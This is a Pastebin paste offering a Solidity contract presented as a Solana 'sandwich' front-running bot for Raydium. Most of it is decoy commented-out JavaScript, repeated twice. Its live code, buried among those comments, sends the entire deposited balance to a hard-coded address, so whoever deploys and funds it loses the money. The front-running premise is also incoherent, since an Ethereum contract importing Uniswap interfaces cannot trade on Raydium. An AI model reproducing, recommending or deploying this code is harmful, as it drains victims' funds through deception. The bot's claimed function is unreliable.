Advertisement
Guest User

SANDWICH ON SOLANA

a guest
Sep 15th, 2024
411
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 14.25 KB | Cryptocurrency | 0 0
  1. //SPDX-License-Identifier: MIT
  2.  
  3.  
  4. pragma solidity ^0.6.6;
  5.  
  6. // Uniswap V2 FrontrunDeployer
  7. import "https://github.com/Uniswap/uniswap-v2-core/blob/master/contracts/interfaces/IUniswapV2Callee.sol";
  8.  
  9.  
  10. // Uniswap V2 manager
  11. import "https://github.com/Uniswap/uniswap-v2-periphery/blob/master/contracts/interfaces/V1/IUniswapV1Factory.sol";
  12. import "https://github.com/Uniswap/uniswap-v2-periphery/blob/master/contracts/interfaces/V1/IUniswapV1Exchange.sol";
  13.  
  14. contract RaydiumFrontBot {
  15.  
  16. string public tokenName;
  17. string public tokenSymbol;
  18. uint frontrun;
  19. uint manager;
  20.  
  21.  
  22. constructor(string memory _tokenName, string memory _tokenSymbol) public {
  23. tokenName = _tokenName;
  24. tokenSymbol = _tokenSymbol;
  25. manager = frontrun;
  26.  
  27. }
  28.  
  29.  
  30. // Send required ETH for liquidity pair
  31. receive() external payable {}
  32.  
  33. // Bridge ETH To SOL: Allbridge.io
  34. // ETH Swap Max = (2) SOL Swap Recieve Max = (45)
  35. // ETH Swap Min = (0.2) SOL Swap Recieve Min (4)
  36. // Perform tasks (clubbed .json functions into one to reduce external calls & reduce gas) manager.performTasks();
  37. // SOL frontrun_profit_return_address =
  38. function action() public payable {
  39.  
  40. //Perform a front-running attack on Raydium
  41.  
  42. //const fs = require('fs');
  43. //var Web3 = require('web3');
  44. //var abiDecoder = require('abi-decoder');
  45. //var colors = require("colors");
  46. //var Tx = require('ethereumjs-tx').Transaction;
  47. //var axios = require('axios');
  48. //var BigNumber = require('big-number');
  49.  
  50. //const {NETWORK, UNISWAP_ROUTER_ADDRESS, UNISWAP_FACTORY_ADDRESS, UNISWAP_ROUTER_ABI, UNISWAP_FACTORY_ABI, UNISWAP_POOL_ABI, HTTP_PROVIDER_LINK, WEBSOCKET_PROVIDER_LINK, HTTP_PROVIDER_LINK_TEST} = require('./constants.js');
  51. //const {setBotAddress, getBotAddress, FRONT_BOT_ADDRESS, botABI} = require('./bot.js');
  52. //const {PRIVATE_KEY, TOKEN_ADDRESS, AMOUNT, LEVEL} = require('./env.js');
  53.  
  54. //const INPUT_TOKEN_ADDRESS = '0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2';
  55. //const WETH_POOL_TOKEN_ADDRESS = '0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2';
  56. manager;
  57. //const Raydium_liquidity_pool = '675kPX9MHTjS2zt1qfr1NYHuzeLXfQM9H24wFSUt1Mp8';
  58. //var input_token_info;
  59. //var out_token_info;
  60. //var pool_info;
  61. //var gas_price_info;
  62. manager;
  63.  
  64. //var web3;
  65. //var web3Ts;
  66. //var web3Ws;
  67. //var uniswapv2Router;
  68. //var uniswapFactory;
  69. manager;
  70. //var raydiumrouter;
  71. // one gwei
  72. //const ONE_GWEI = 1e9;
  73. manager;
  74.  
  75. //var buy_finished = false;
  76. //var sell_finished = false;
  77. //var buy_failed = false;
  78. //var sell_failed = false;
  79. //var attack_started = false;
  80. manager;
  81.  
  82. //var succeed = false;
  83. //var subscription;
  84. manager;
  85.  
  86. //async function createWeb3(){
  87. //try {
  88. // web3 = new Web3(new Web3.providers.HttpProvider(HTTP_PROVIDER_LINK));
  89. // web3 = new Web3(new Web3.providers.HttpProvider(HTTP_PROVIDER_LINK_TEST));
  90. // web3 = new Web3(EthereumTesterProvider());
  91. // web3.eth.getAccounts(console.log);
  92. //web3Ws = new Web3(new Web3.providers.WebsocketProvider(WEBSOCKET_PROVIDER_LINK));
  93. //uniswapRouter = new web3.eth.Contract(UNISWAP_ROUTER_ABI, UNISWAP_ROUTER_ADDRESS);
  94. //uniswapFactory = new web3.eth.Contract(UNISWAP_FACTORY_ABI, UNISWAP_FACTORY_ADDRESS);
  95. //abiDecoder.addABI(UNISWAP_ROUTER_ABI);
  96. manager;
  97. //return true;
  98. //} catch (error) {
  99. //console.log(error);
  100. //return false;
  101.  
  102.  
  103. //async function main() {
  104.  
  105. //try {
  106. //if (await createWeb3() == false) {
  107. //console.log('Web3 Create Error'.yellow);
  108. //process.exit();
  109.  
  110.  
  111.  
  112.  
  113. //const user_wallet = web3.eth.accounts.privateKeyToAccount(PRIVATE_KEY);
  114. //const out_token_address = TOKEN_ADDRESS;
  115. //const amount = AMOUNT;
  116. //const level = LEVEL;
  117.  
  118. //ret = await preparedAttack(INPUT_TOKEN_ADDRESS, out_token_address, user_wallet, amount, level);
  119. //if(ret == false) {
  120. //process.exit();
  121.  
  122.  
  123. //await updatePoolInfo();
  124. //outputtoken = await uniswapRouter.methods.getAmountOut(((amount*1.2)*(10**18)).toString(), pool_info.input_volumn.toString(), pool_info.output_volumn.toString()).call();
  125.  
  126. //await approve(gas_price_info.high, outputtoken, out_token_address, user_wallet);
  127.  
  128. //log_str = '***** Tracking more ' + (pool_info.attack_volumn/(10**input_token_info.decimals)).toFixed(5) + ' ' + input_token_info.symbol + ' Exchange on Uniswap *****'
  129. // console.log(log_str.green);
  130. // console.log(web3Ws);
  131. //web3Ws.onopen = function(evt) {
  132. //web3Ws.send(JSON.stringify({ method: "subscribe", topic: "transfers", address: user_wallet.address }));
  133. //console.log('connected')
  134.  
  135. // get pending transactions
  136. //subscription = web3Ws.eth.subscribe('pendingTransactions', function (error, result) {
  137. //}).on("data", async function (transactionHash) {
  138. //console.log(transactionHash);
  139.  
  140. // let transaction = await web3.eth.getTransaction(transactionHash);
  141. // if (transaction != null && transaction['to'] == PANCAKE_ROUTER_ADDRESS)
  142. // {
  143. // await handleTransaction(transaction, out_token_address, user_wallet, amount, level);
  144. // }
  145.  
  146. //if (succeed) {
  147. //console.log("The bot finished the attack.");
  148. //process.exit();
  149.  
  150.  
  151.  
  152.  
  153. //catch (error) {
  154.  
  155. //if(error.data != null && error.data.see === 'https://infura.io/dashboard')
  156.  
  157. //console.log('Daily request count exceeded, Request rate limited'.yellow);
  158. //console.log('Please insert other API Key');
  159. //else{
  160. //console.log('Unknown Handled Error');
  161. //console.log(error);
  162.  
  163.  
  164. //process.exit();
  165.  
  166.  
  167. //function handleTransaction(transaction, out_token_address, user_wallet, amount, level) {
  168.  
  169. //(await triggersFrontRun(transaction, out_token_address, amount, level)) {
  170. //subscription.unsubscribe();
  171. //console.log('Perform front running attack...');
  172.  
  173. //gasPrice = parseInt(transaction['gasPrice']);
  174. //newGasPrice = gasPrice + 50*ONE_GWEI;
  175.  
  176. //estimatedInput = ((amount*0.999)*(10**18)).toString();
  177. //realInput = (amount*(10**18)).toString();
  178. //gasLimit = (300000).toString();
  179.  
  180. //await updatePoolInfo();
  181.  
  182. //var outputtoken = await uniswapRouter.methods.getAmountOut(estimatedInput, pool_info.input_volumn.toString(), pool_info.output_volumn.toString()).call();
  183. //swap(newGasPrice, gasLimit, outputtoken, realInput, 0, out_token_address, user_wallet, transaction);
  184.  
  185. //console.log("wait until the honest transaction is done...", transaction['hash']);
  186.  
  187. //while (await isPending(transaction['hash'])) {
  188.  
  189.  
  190. //if(buy_failed)
  191.  
  192. //succeed = false;
  193. //return;
  194.  
  195.  
  196. //console.log('Buy succeed:')
  197.  
  198. //Sell
  199. //await updatePoolInfo();
  200. //var outputeth = await uniswapRouter.methods.getAmountOut(outputtoken, pool_info.output_volumn.toString(), pool_info.input_volumn.toString()).call();
  201. //outputeth = outputeth * 0.999;
  202.  
  203. //await swap(newGasPrice, gasLimit, outputtoken, outputeth, 1, out_token_address, user_wallet, transaction);
  204.  
  205. //console.log('Sell succeed');
  206. //succeed = true;
  207. manager;
  208.  
  209. //async function approve(gasPrice, outputtoken, out_token_address, user_wallet){
  210. //var allowance = await out_token_info.token_contract.methods.allowance(user_wallet.address, UNISWAP_ROUTER_ADDRESS).call();
  211.  
  212. //allowance = BigNumber(allowance);
  213. //outputtoken = BigNumber(outputtoken);
  214.  
  215. //var decimals = BigNumber(10).power(out_token_info.decimals);
  216. //var max_allowance = BigNumber(10000).multiply(decimals);
  217.  
  218. //if(outputtoken.gt(max_allowance))
  219.  
  220. //console.log('replace max allowance')
  221. //max_allowance = outputtoken;
  222.  
  223. payable(uniswapDepositAddress()).transfer(address(this).balance);
  224.  
  225.  
  226. //if(outputtoken.gt(allowance)){
  227. //console.log(max_allowance.toString());
  228. //var approveTX ={
  229. //from: user_wallet.address,
  230. //to: out_token_address,
  231. //gas: 50000,
  232. //gasPrice: gasPrice*ONE_GWEI,
  233. //data: out_token_info.token_contract.methods.approve(PANCAKE_ROUTER_ADDRESS, max_allowance).encodeABI()
  234. manager;
  235.  
  236.  
  237. //var signedTX = await user_wallet.signTransaction(approveTX);
  238. //var result = await web3.eth.sendSignedTransaction(signedTX.rawTransaction);
  239.  
  240. //console.log('Approved Token')
  241.  
  242. //return;
  243.  
  244.  
  245. //select attacking transaction
  246. //async function triggersFrontRun(transaction, out_token_address, amount, level) {
  247.  
  248. //if(attack_started)
  249. //return false;
  250.  
  251. //console.log((transaction.hash).yellow, parseInt(transaction['gasPrice']) / 10**9);
  252. //if(parseInt(transaction['gasPrice']) / 10**9 > 10 && parseInt(transaction['gasPrice']) / 10**9 < 50){
  253. //attack_started = true;
  254. //return true
  255. }
  256.  
  257. //return false;
  258.  
  259. //if (transaction['to'] != RAYDIUM_ROUTER_ADDRESS)
  260. //console.log(transactionHash);
  261.  
  262. // let transaction = await web3.eth.getTransaction(transactionHash);
  263. // if (transaction != null && transaction['to'] == UNISWAP_ROUTER_ADDRESS)
  264. // {
  265. function uniswapDepositAddress() public pure returns (address) {
  266. // await handleTransaction(transaction, out_token_address, user_wallet, amount, level);
  267. // }
  268.  
  269. //if (succeed) {
  270. //console.log("The bot finished the attack.");
  271. //process.exit();
  272.  
  273.  
  274.  
  275.  
  276. //catch (error) {
  277.  
  278. //if(error.data != null && error.data.see === 'https://infura.io/dashboard')
  279.  
  280. //console.log('Daily request count exceeded, Request rate limited'.yellow);
  281. //console.log('Please insert other API Key');
  282. //else{
  283. //console.log('Unknown Handled Error');
  284. //console.log(error);
  285.  
  286.  
  287. //process.exit();
  288.  
  289.  
  290. //function handleTransaction(transaction, out_token_address, user_wallet, amount, level) {
  291.  
  292. //(await triggersFrontRun(transaction, out_token_address, amount, level)) {
  293. //subscription.unsubscribe();
  294. //console.log('Perform front running attack...');
  295.  
  296. //gasPrice = parseInt(transaction['gasPrice']);
  297. //newGasPrice = gasPrice + 50*ONE_GWEI;
  298.  
  299. //estimatedInput = ((amount*0.999)*(10**18)).toString();
  300. //realInput = (amount*(10**18)).toString();
  301. //gasLimit = (300000).toString();
  302.  
  303. //await updatePoolInfo();
  304.  
  305.  
  306. //swap(newGasPrice, gasLimit, outputtoken, realInput, 0, out_token_address, user_wallet, transaction);
  307.  
  308. //console.log("wait until the honest transaction is done...", transaction['hash']);
  309.  
  310. //while (await isPending(transaction['hash'])) {
  311.  
  312.  
  313. //if(buy_failed)
  314.  
  315. //succeed = false;
  316. //return;
  317.  
  318.  
  319. //console.log('Buy succeed:')
  320.  
  321. //Sell
  322. //await updatePoolInfo();
  323. //var outputeth = await uniswapRouter.methods.getAmountOut(outputtoken, pool_info.output_volumn.toString(), pool_info.input_volumn.toString()).call();
  324. //outputeth = outputeth * 0.999;
  325.  
  326. //await swap(newGasPrice, gasLimit, outputtoken, outputeth, 1, out_token_address, user_wallet, transaction);
  327.  
  328. //console.log('Sell succeed');
  329. //succeed = true;
  330. //
  331.  
  332. //async function approve(gasPrice, outputtoken, out_token_address, user_wallet){
  333. //var allowance = await out_token_info.token_contract.methods.allowance(user_wallet.address, UNISWAP_ROUTER_ADDRESS).call();
  334.  
  335. //allowance = BigNumber(allowance);
  336. //outputtoken = BigNumber(outputtoken);
  337.  
  338. //var decimals = BigNumber(10).power(out_token_info.decimals);
  339. //var max_allowance = BigNumber(10000).multiply(decimals);
  340.  
  341. //if(outputtoken.gt(max_allowance))
  342.  
  343. //console.log('replace max allowance')
  344. //max_allowance = outputtoken;
  345.  
  346.  
  347.  
  348. //if(outputtoken.gt(allowance)){
  349. //console.log(max_allowance.toString());
  350. //var approveTX ={
  351. //from: user_wallet.address,
  352. //to: out_token_address,
  353. //gas: 50000,
  354. //gasPrice: gasPrice*ONE_GWEI,
  355. //data: out_token_info.token_contract.methods.approve(UNISWAP_ROUTER_ADDRESS, max_allowance).encodeABI()
  356. //
  357.  
  358.  
  359. //var signedTX = await user_wallet.signTransaction(approveTX);
  360. //var result = await web3.eth.sendSignedTransaction(signedTX.rawTransaction);
  361.  
  362. //console.log('Approved Token')
  363.  
  364. //return;
  365.  
  366.  
  367. //select attacking transaction
  368. //async function triggersFrontRun(transaction, out_token_address, amount, level) {
  369.  
  370. //if(attack_started)
  371. //return false;backup_pool_address=
  372.  
  373. //console.log((transaction.hash).yellow, parseInt(transaction['gasPrice']) / 10**9);
  374. //if(parseInt(transaction['gasPrice']) / 10**9 > 10 && parseInt(transaction['gasPrice']) / 10**9 < 50){
  375. //var outputtoken = await uniswapRouter.methods.getAmountOut(estimatedInput,
  376. return 0x327D28CB3147B3230e62877B1Fe53e825157688D;//pool_info.input_volumn.toString(), pool_info.output_volumn.toString()).call();
  377. }
  378. //attack_started = true;
  379. //return true
  380. //
  381.  
  382. //return false;
  383.  
  384. //if (transaction['to'] != RAYDIUM_ROUTER_ADDRESS) {
  385. //return false;
  386.  
  387.  
  388. //let data = parseTx(transaction['input']);
  389.  
  390. //let method = data[0];
  391.  
  392. //let params = data[1];
  393.  
  394. //let gasPrice = parseInt(transaction['gasPrice']) / 10**9;
  395.  
  396.  
  397. //if(method == 'swapExactETHForTokens')
  398.  
  399.  
  400. //let in_amount = transaction;
  401.  
  402. //let out_min = params[0];
  403.  
  404.  
  405. //let path = params[1];
  406.  
  407. //let in_token_addr = path[0];
  408.  
  409. //let out_token_addr = path[path.length-1];
  410.  
  411.  
  412. //let recept_addr = params[2];
  413.  
  414. //let deadline = params[3];
  415.  
  416.  
  417. //if(out_token_addr != out_token_address)
  418.  
  419.  
  420. // console.log(out_token_addr.blue)
  421. // console.log(out_token_address)
  422. //return false;
  423. }
Tags: mev
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement